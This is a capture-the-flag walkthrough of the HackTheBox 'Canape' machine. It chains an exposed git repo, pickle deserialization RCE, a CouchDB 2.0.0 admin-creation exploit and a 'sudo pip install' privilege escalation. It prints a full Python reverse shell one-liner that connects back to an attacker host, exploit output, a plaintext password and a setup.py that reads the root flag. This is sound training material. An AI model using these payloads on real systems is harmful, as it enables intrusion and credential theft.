HackTheBox – Canape Fastrun WriteUp

Hi All, today we are going to solve canape machine from hackthebox..this walkthrough would be a fast run! as i am still in hangover of clearing OSCP ( :D) and a bit busy this weekend..so i shall skip few commands and give you brief explanation how i solved this box.


So Lets start with nmap scan : nmap

80/tcp open http

we see only one port open…after a bit of enumeration from dirbusting the directories and other stuff, we find two interesting things :

  1. git repository is exposed :
  2. we see a submit quotes page which lets us to submit quotes.

and a comment in the source code of page. which specifies another interesting page :

from the git repository we download all the files recursively and clone it to a local repo.


root@kali:~/git# ls
__init__.py static templates


we find few interesting things in the python code.

first one being the poor input sanitization of “character” field . and the character and submitted quote is written directly to a file as the md5 of both.

as this line : p_id = md5(char + quote).hexdigest()



if request.method == “POST”:
char = request.form[“character”]
quote = request.form[“quote”]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
# TODO – Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open(“/tmp/” + p_id + “.p”, “wb”)
outfile.write(char + quote)
success = True
except Exception as ex:
error = True

return render_template(“submit.html”, error=error, success=success)



and the next one being, in the check page code , we can see it is using pickle to deserialize the stored object from the file…From a recent vuln it was found that the way pickle handles data leads to RCE.

More on this vulnerability explained :


so our strategy is to create a payload inside character field and exploit the vuln by calling the check with our malicious md5 hashed file .(too lazy to share exploit πŸ˜€ write it yourself , this is fast run!Β  i shall share the git link :P)

character = reverse shell payload + “Homer”

once request is posted for quotes, we access the check page with our already known calculated md5 hash id named file. I used a python reverse shell payload from pentest monkey.


python -c “import os; import pty; import socket; lhost = ‘’; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(‘HISTFILE’, ‘/dev/null’); pty.spawn(‘/bin/bash’); s.close();”

this is then used as shown in exploit , a class object under reduce function ,converted into pickle format using cpickle.dumps ( will find it in script) and post the request to quotes.

Then we post request to check with MD5 hashed filename.

We get a quick reverse shell ! πŸ˜€

root@kali:~# nc -nlvp 443
listening on [any] 443 …
connect to [] from (UNKNOWN) [] 58594

but we are still , a low priv www user who does not have access to the actual user flag .

so lets enum more :

from /etc/passwd :

we find a valid user :


now enumerating more we find that it is running couch db for its backend database . and also few interesting things from the /var/www folder.

we can confirm couch db is running :

www-data@canape:/var/www/git$ curl -s http://localhost:5984
curl -s http://localhost:5984
{“couchdb”:”Welcome”,”version”:”2.0.0″,”vendor”:{“name”:”The Apache Software Foundation”}}

this version is found to be vulnerable to admin user priv escalation .


now we can exploit it like this :

www-data@canape:/var/www/git$ python 44498.py localhost -p 5984 -u menoe -P menoe
<t$ python 44498.py localhost -p 5984 -u menoe -P menoe
[+] User to create: menoe
[+] Password: menoe
[+] Attacking host localhost on port 5984
[+] User menoe with password menoe successfully created.

Now lets use the user to fetch juicy database details..(* after a long lookup at couch db docs ! *) .after few mins of enumeration , it was found that password was stored in following view :

www-data@canape:/var/www/git$ curl -s http://menoe:menoe@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4

www-data@canape:/var/www/git$ su homer
Password: 0B4jyA0xtytZi7esBNGp

homer@canape:/var/www/git$ whoami

and now ! we can grab the user.txt flag! Now lets move onto privilege escalation .

now, from quick enumeration , we find that homer can execute few commands as root :

homer@canape:/var/www/git$ sudo -l

User homer may run the following commands on canape:
(root) /usr/bin/pip install *

A classic priv esc scenario ! wild card entry for pip install! lets create a temporary folder and add setup.py inside it .with priv escΒ  πŸ™‚ here we have created a folder called privesc, inside it we have added a setup.py file which contains following code to steal root flag.(we can replace any priv code to execute)

homer@canape:/tmp/privesc$ cat setup.py

import os
os.system(“cat /root/root.txt > /tmp/root.txt”)
os.system(“chmod 777 /tmp/root.txt”)


we can leverage pip -e option to install from a local built package. finally run this command to get root flag!

homer@canape:/tmp/privesc$ sudo /usr/bin/pip install -e /tmp/privesc/

command exits with no files/directories error, but our code should have been run already!lets verify :

homer@canape:/tmp$ ls -l /tmp/root.txt
rwxrwxrwx 1 root root 33 Sep 15 10:53 /tmp/root.txt

thats awesome! now lets quickly get our root flag πŸ˜€

homer@canape:/tmp$ cat /tmp/root.txt
<<root flag contents >>


thats all for this fast run! thank you. stay tuned for next writeup . have a nice day!